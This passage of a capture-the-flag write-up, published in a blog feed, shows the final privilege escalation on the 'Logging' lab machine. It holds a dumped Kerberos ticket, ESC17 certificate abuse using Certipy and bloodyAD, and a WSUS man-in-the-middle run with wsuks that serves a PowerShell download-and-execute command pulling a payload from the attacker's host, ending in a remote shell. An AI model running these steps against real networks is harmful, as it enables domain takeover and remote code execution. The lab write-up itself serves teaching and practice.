</span><span class="mi">9</span><span class="n">yvOzuhTD0cMirL9TB2BOMLrqEnBbO9BFGJZ</span><span class="o">+</span><span class="nx">mSAbT8zBCrfLzqR7youiu</span><span class="o">+</span><span class="nx">j90dRPRJzxwv/8lsep0HphhVeF1rZ1gVFIXDreS</span><span class="o">+</span><span class="nx">7Zwuur0HLDHGNsFGeCnGr0RQzh9YVEr1xn1Ltp30xuHsl</span><span class="o">+</span><span class="nx">VVYKTHsNvd9</span><span class="o">+</span><span class="nx">PRjkAFei18QzPGl4Kyq56ZPZjLnNz9Pl</span><span class="w">
</span><span class="mi">87</span><span class="n">imJ1qjkHvcNs8lSQ0TROCBNn8xnGRDix4Vds6p2UH3eLLIfb6tCQpicLvuOB2gvsZTeU2q621OGnMG0HkxDTeIPBUDGyD3WgcJw1Fwr9Vj</span><span class="o">+</span><span class="nx">kNdH62xF5czYJr7</span><span class="o">+</span><span class="nx">E3ZBvpIaieg8hy58o7Hfi</span><span class="o">+</span><span class="nx">hyOqWAZ53LuFEeGzMR7</span><span class="o">+</span><span class="nx">ES83V</span><span class="o">+</span><span class="nx">pzIVLwPzreA90M5d</span><span class="w">
</span><span class="n">ZwIelXIDo5juOyqQ24z14z2GK8a6a5mQJvO8/JMKuupg0FzJ3uez2hO4Kr5SE9aPdcqlk6qy2ufn8MdS5G63</span><span class="o">+</span><span class="nx">IKb3mWQiuriqu9fn4Z9Rgtgf44zOgKTtmmJrDUGx0/4NlRQoxUZzHlTu3nR/wa8</span><span class="o">+</span><span class="nx">vdT8voUsVCiTsGN69szS6Y</span><span class="o">+</span><span class="nx">9FrWJ1VPQV3k2KnMk</span><span class="w">
</span><span class="mi">5</span><span class="n">xsOXWy907KhruIYMbDDQA</span><span class="o">+</span><span class="nx">sRN3bXIEZE8EOnyW3NHxiesO/c4oc0qdUjKfqMfMOw8XMbFp8I7p9Tmq</span><span class="o">+</span><span class="nx">NWrsJpOnfSAuHDa0bPB6Or1qL5QRA3ifoRWmqvIr6J8uQMOYj24uCBMP/D0B6c0cEnvTQDHsmQYUmTJYH5OzGajxxgqJeY4W/b39JS3gDT4SO</span><span class="w">
</span><span class="n">lovQr2ipXlS4gbOpi0UGD/cBN5HOon1HHwHfAZ16CK9Yjre45iU0R793LiwKpmEEG9XFks2qocw1tlahxQSm8fuJRj4wSEUGywnFEyzwAcR29SV5cZXudBZrW6fJl/CLEYo85lHC6fKNJF6ljLvmk5YenuahVnBQVExVLtbI58qNKjTbHalNtEs9k7MPh</span><span class="w">
</span><span class="nx">ftAN3cYnVbZFN</span><span class="o">+</span><span class="nx">gqzyB</span><span class="o">+</span><span class="nx">cRyxWSjc9mwheKa6opaxNkt44U26x3yy8QiKjYWHlgyWaRF14</span><span class="o">+</span><span class="nx">QXF2oipUIJWUk6x0Y8aN6lc46h</span><span class="o">+</span><span class="nx">KhtIRvf/TyqgYJ7lU7m9xoqaPsPNCkTbfC3mfu91FlbW7EUnl9NU7KXwAeazUYb2KJq10OIpFKy95LQnjmgziZ/GvVKT</span><span class="w">
</span><span class="n">WsoG62ygWwqM2sJiiEbKqDGZRlRajFhxTUnNJdPDUSZFK8x1G</span><span class="o">+</span><span class="nx">s4DyHTwV21jGWZv16VXqfM79HdCYiwrrddJ0f</span><span class="o">+</span><span class="nx">qicZs5DTI4HC1mXwHdGzfJDucNW4CeB0ISglxExgOgr16SUhXgQdpD87f/h2SPnF0</span><span class="o">+</span><span class="nx">7C3KC3kV81pD1nEG2l7SnYa5/NdM</span><span class="o">+</span><span class="nx">yuYqhK</span><span class="w">
</span><span class="n">f17KPJOQyQ0WcMBJPYiJbRvXNpM7S2Ke0jM8P6bdVYNSZbOI0/DBCZBx36VYrtAdnahTW7CGOLtkeN6TG/T6TAvT/pBAxKYOSY0Bh8nb5MY6U8XbDONwfuaPiuIG6itvt8jIJ26JPE4qahnEdrXZS</span><span class="o">+</span><span class="nx">ZkKphvllo4HpMIHmoAMCAQCigd4Egdt9gdgwgdW</span><span class="w">
</span><span class="n">ggdIwgc8wgcygKzApoAMCARKhIgQgV5emnR3JLfs9eIcdPU8zZVse/2QG7J2FbXzDbowFEXWhDRsLTE9HR0lORy5IVEKiGzAZoAMCAQGhEjAQGw5qYXlsZWUuY2xpZnRvbqMHAwUAYKEAAKURGA8yMDI2MDQxOTE5MDQ0N1qmERgPMjAyNjA0MjAwNTAy</span><span class="w">
</span><span class="nx">MTVapxEYDzIwMjYwNDI2MTkwMjE1WqgNGwtMT0dHSU5HLkhUQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLTE9HR0lORy5IVEI</span><span class="o">=</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>After which I’ll put this <code class="language-plaintext highlighter-rouge">base64 kirbi</code> into a file and convert it into a <code class="language-plaintext highlighter-rouge">TGT</code></p>
<div filename="User TGT" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>ticketConverter.py j.clifton.kirbi <span class="nt">-b</span> j.clifton.ccache
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="nb">base64 </span>decoding ticket
<span class="o">[</span><span class="k">*</span><span class="o">]</span> converting kirbi to ccache...
<span class="o">[</span>+] <span class="k">done</span>
<span class="nv">$ </span><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>j.clifton.ccache
<span class="nv">$ </span>klist      
Ticket cache: FILE:j.clifton.ccache
Default principal: jaylee.clifton@LOGGING.HTB

Valid starting       Expires              Service principal
04/19/2026 15:04:47  04/20/2026 01:02:15  krbtgt/LOGGING.HTB@LOGGING.HTB
        renew <span class="k">until </span>04/26/2026 15:02:15
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="esc17---wsus-mitm">ESC17 - WSUS MITM</h2>
<p><code class="language-plaintext highlighter-rouge">Jaylee.Clifton</code> is a member of the <code class="language-plaintext highlighter-rouge">IT</code>, and <code class="language-plaintext highlighter-rouge">Performance Log Users</code> group as we have seen before in our <code class="language-plaintext highlighter-rouge">group</code> enumeration.</p>
<pre filename="IT Group Membership"><code class="language-ldap">distinguishedName: CN=Performance Log Users,CN=Builtin,DC=logging,DC=htb
member: CN=jaylee.clifton,CN=Users,DC=logging,DC=htb
distinguishedName: CN=IT,CN=Users,DC=logging,DC=htb
member: CN=jaylee.clifton,CN=Users,DC=logging,DC=htb
</code></pre>

<p>Taking a look at our <code class="language-plaintext highlighter-rouge">Certificates</code> for the <code class="language-plaintext highlighter-rouge">IT</code> group we can find has <code class="language-plaintext highlighter-rouge">Enrollment Rights</code> against <code class="language-plaintext highlighter-rouge">UpdateSRV</code> Certificate which is vulnerable to ESC17, you’ll need <a href="https://github.com/ly4k/Certipy/pull/344">this pull request</a> version of <code class="language-plaintext highlighter-rouge">Certipy</code> to find these.</p>
<div filename="ESC 17" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>jq <span class="s1">'.["Certificate Templates"][]'</span> 20260419162152_Certipy.json
<span class="o">{</span>
  <span class="s2">"Template Name"</span>: <span class="s2">"UpdateSrv"</span>,
  <span class="s2">"Display Name"</span>: <span class="s2">"UpdateSrv"</span>,
  <span class="s2">"Certificate Authorities"</span>: <span class="o">[</span>
    <span class="s2">"logging-DC01-CA"</span>
  <span class="o">]</span>,
  <span class="s2">"Enabled"</span>: <span class="nb">true</span>,
  <span class="s2">"Client Authentication"</span>: <span class="nb">false</span>,
  <span class="s2">"Enrollment Agent"</span>: <span class="nb">false</span>,
  <span class="s2">"Any Purpose"</span>: <span class="nb">false</span>,
  <span class="s2">"Enrollee Supplies Subject"</span>: <span class="nb">true</span>,
  <span class="s2">"Certificate Name Flag"</span>: <span class="o">[</span>
    1
  <span class="o">]</span>,
  <span class="s2">"Extended Key Usage"</span>: <span class="o">[</span>
    <span class="s2">"Server Authentication"</span>
  <span class="o">]</span>,
  <span class="s2">"Requires Manager Approval"</span>: <span class="nb">false</span>,
  <span class="s2">"Requires Key Archival"</span>: <span class="nb">false</span>,
  <span class="s2">"Authorized Signatures Required"</span>: 0,
  <span class="s2">"Schema Version"</span>: 2,
  <span class="s2">"Validity Period"</span>: <span class="s2">"10 years"</span>,
  <span class="s2">"Renewal Period"</span>: <span class="s2">"6 weeks"</span>,
  <span class="s2">"Minimum RSA Key Length"</span>: 2048,
  <span class="s2">"Template Created"</span>: <span class="s2">"2026-04-17 00:41:06+00:00"</span>,
  <span class="s2">"Template Last Modified"</span>: <span class="s2">"2026-04-17 00:41:07+00:00"</span>,
  <span class="s2">"Permissions"</span>: <span class="o">{</span>
    <span class="s2">"Enrollment Permissions"</span>: <span class="o">{</span>
      <span class="s2">"Enrollment Rights"</span>: <span class="o">[</span>
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">IT"</span>,
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Domain Admins"</span>,
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Enterprise Admins"</span>
      <span class="o">]</span>
    <span class="o">}</span>,
    <span class="s2">"Object Control Permissions"</span>: <span class="o">{</span>
      <span class="s2">"Owner"</span>: <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Administrator"</span>,
      <span class="s2">"Full Control Principals"</span>: <span class="o">[</span>
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Domain Admins"</span>,
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Enterprise Admins"</span>
      <span class="o">]</span>,
      <span class="s2">"Write Owner Principals"</span>: <span class="o">[</span>
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Domain Admins"</span>,
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Enterprise Admins"</span>
      <span class="o">]</span>,
      <span class="s2">"Write Dacl Principals"</span>: <span class="o">[</span>
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Domain Admins"</span>,
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Enterprise Admins"</span>
      <span class="o">]</span>,
      <span class="s2">"Write Property Enroll"</span>: <span class="o">[</span>
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Domain Admins"</span>,
        <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">Enterprise Admins"</span>
      <span class="o">]</span>
    <span class="o">}</span>
  <span class="o">}</span>,
  <span class="s2">"[+] User Enrollable Principals"</span>: <span class="o">[</span>
    <span class="s2">"LOGGING.HTB</span><span class="se">\\</span><span class="s2">IT"</span>
  <span class="o">]</span>,
  <span class="s2">"[!] Vulnerabilities"</span>: <span class="o">{</span>
    <span class="s2">"ESC17"</span>: <span class="s2">"Enrollee supplies subject and template allows server authentication."</span>
  <span class="o">}</span>,
  <span class="s2">"[*] Remarks"</span>: <span class="o">{</span>
    <span class="s2">"ESC17"</span>: <span class="s2">"Other prerequisites may be required for this to be exploitable. See the wiki for more details."</span>
  <span class="o">}</span>
<span class="o">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We notice a couple things, first of all <code class="language-plaintext highlighter-rouge">LOGGING.HTB\\IT</code> has <code class="language-plaintext highlighter-rouge">Enrollment Permissions</code> and is also an <code class="language-plaintext highlighter-rouge">Enrollable Principal</code>, secondly we have <code class="language-plaintext highlighter-rouge">Enrollee Supplies Subject: true</code> which indicates that this should be vulnerable to <code class="language-plaintext highlighter-rouge">ESC17</code>, which is <code class="language-plaintext highlighter-rouge">ESC1</code> through WSUS so let’s write a <code class="language-plaintext highlighter-rouge">DNS record</code></p>
<div filename="ESC 17" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>bloodyAD <span class="nt">-H</span> dc01.logging.htb <span class="nt">-k</span> <span class="nt">-d</span> logging.htb add dnsRecord <span class="s2">"wsus"</span> <span class="s2">"10.10.15.60"</span>
<span class="o">[</span>+] wsus has been successfully added
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Next let’s request a certificate with the <code class="language-plaintext highlighter-rouge">DNS SAN</code> specified with the vulnerable template.</p>
<div filename="ESC 17" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="rouge-code"><pre><span class="nv">$ </span>certipy req <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="nt">-target</span> DC01.logging.htb <span class="nt">-ca</span> logging-DC01-CA <span class="nt">-dns</span> wsus.logging.htb <span class="nt">-template</span> UpdateSrv <span class="nt">-out</span> w1ldsus.pfx
Certipy v5.0.4 - by Oliver Lyak <span class="o">(</span>ly4k<span class="o">)</span>

<span class="o">[!]</span> DC host <span class="o">(</span><span class="nt">-dc-host</span><span class="o">)</span> not specified and Kerberos authentication is used. This might fail
<span class="o">[!]</span> DNS resolution failed: The DNS query name does not exist: DC01.logging.htb.
<span class="o">[!]</span> Use <span class="nt">-debug</span> to print a stacktrace
<span class="o">[!]</span> DNS resolution failed: The DNS query name does not exist: LOGGING.HTB.
<span class="o">[!]</span> Use <span class="nt">-debug</span> to print a stacktrace
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Requesting certificate via RPC
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Request ID is 8
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Successfully requested certificate
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Got certificate with DNS Host Name <span class="s1">'wsus.logging.htb'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Certificate has no object SID
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Try using <span class="nt">-sid</span> to <span class="nb">set </span>the object SID or see the wiki <span class="k">for </span>more details
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving certificate and private key to <span class="s1">'w1ldsus.pfx'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Wrote certificate and private key to <span class="s1">'w1ldsus.pfx'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Next we can use <a href="https://github.com/NeffIsBack/wsuks">wsuks</a> to automate the rest of the exploitation. We’ll need to first convert our <code class="language-plaintext highlighter-rouge">pfx</code> to a <code class="language-plaintext highlighter-rouge">pem</code> file.</p>
<div filename="ESC 17" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre><span class="c"># Conversion to Pem</span>
<span class="nv">$ </span>openssl pkcs12 <span class="nt">-in</span> w1ldsus.pfx <span class="nt">-out</span> w1ld.pem <span class="nt">-nodes</span> <span class="nt">-passin</span> pass:
<span class="c"># Serve the payload</span>
<span class="nv">$ </span><span class="nb">sudo </span>wsuks <span class="nt">--serve-only</span> <span class="nt">--tls-cert</span> w1ld.pem <span class="nt">--WSUS-Port</span> 8531 <span class="nt">-k</span> <span class="nt">--dc-ip</span> 10.129.29.8 <span class="nt">--dc-name</span> DC01.logging.htb <span class="nt">-c</span> <span class="s1">'/accepteula /s powershell.exe "iex(iwr http://10.10.15.60:3232/ra.exe.ps1 -useb)"'</span> <span class="nt">-I</span> tun0

    __          __ _____  _    _  _  __  _____
    <span class="se">\ \ </span>       / // ____|| |  | <span class="o">||</span> |/ / / ____|
     <span class="se">\ \ </span> /<span class="se">\ </span> / /| <span class="o">(</span>___  | |  | <span class="o">||</span> <span class="s1">' / | (___
      \ \/  \/ /  \___ \ | |  | ||  &lt;   \___ \
       \  /\  /   ____) || |__| || . \  ____) |
        \/  \/   |_____/  \____/ |_|\_\|_____/

     Pentesting Tool for the WSUS MITM Attack
               Made by NeffIsBack
                 version: 1.2.1

[+] Command to execute: 
PsExec64.exe powershell.exe "iex(iwr http://10.10.15.60:3232/ra.exe.ps1 -useb)"
[*] ===== Starting Web Server =====
[*] Using TLS certificate '</span>w1ld.pem<span class="s1">' for HTTPS WSUS Server
[*] Starting WSUS Server on 10.10.15.60:8531...
[*] Serving executable as KB: 8916793
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>After a while I get a callback on my listener.</p>
<div filename="Root Flag" class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre>Windows PowerShell
Copyright <span class="o">(</span>C<span class="o">)</span> Microsoft Corporation. All rights reserved.

PS C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32&gt; <span class="nb">ls </span>C:<span class="se">\U</span>sers<span class="se">\t</span>oby.brynleigh<span class="se">\D</span>esktop<span class="se">\ </span>


    Directory: C:<span class="se">\U</span>sers<span class="se">\t</span>oby.brynleigh<span class="se">\D</span>esktop


Mode                LastWriteTime         Length Name                                                                                                                                                                                       
<span class="nt">----</span>                <span class="nt">-------------</span>         <span class="nt">------</span> <span class="nt">----</span>                                                                                                                                                                                       
<span class="nt">-ar---</span>        4/19/2026   6:21 AM             34 root.txt                                                                                                                                                                                   

</pre></td></tr></tbody></table></code></pre></div></div>

<p>There we can find the <code class="language-plaintext highlighter-rouge">root</code> flag.</p>]]></content><author><name>0xW1LD</name></author><category term="[&quot;HTB&quot;]" /><category term="os/windows" /><category term="diff/medium" /><summary type="html"><![CDATA[Logging is an assumed breach scenario where we can find cleartext credentials for svc_recovery in a Logs SMB share. svc_recovery has Generic Write on msc_health$ allowing us to attack it with shadow credentials. We can RM onto the machine and conduct a dll injection to escalate to jaylee.clifton. We can use jaylee.clifton's IT group permissions to execute ESC17 to get root.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://0xw1ld.github.io/assets/img/img_logging/logging-1776345817251.png" /><media:content medium="image" url="https://0xw1ld.github.io/assets/img/img_logging/logging-1776345817251.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>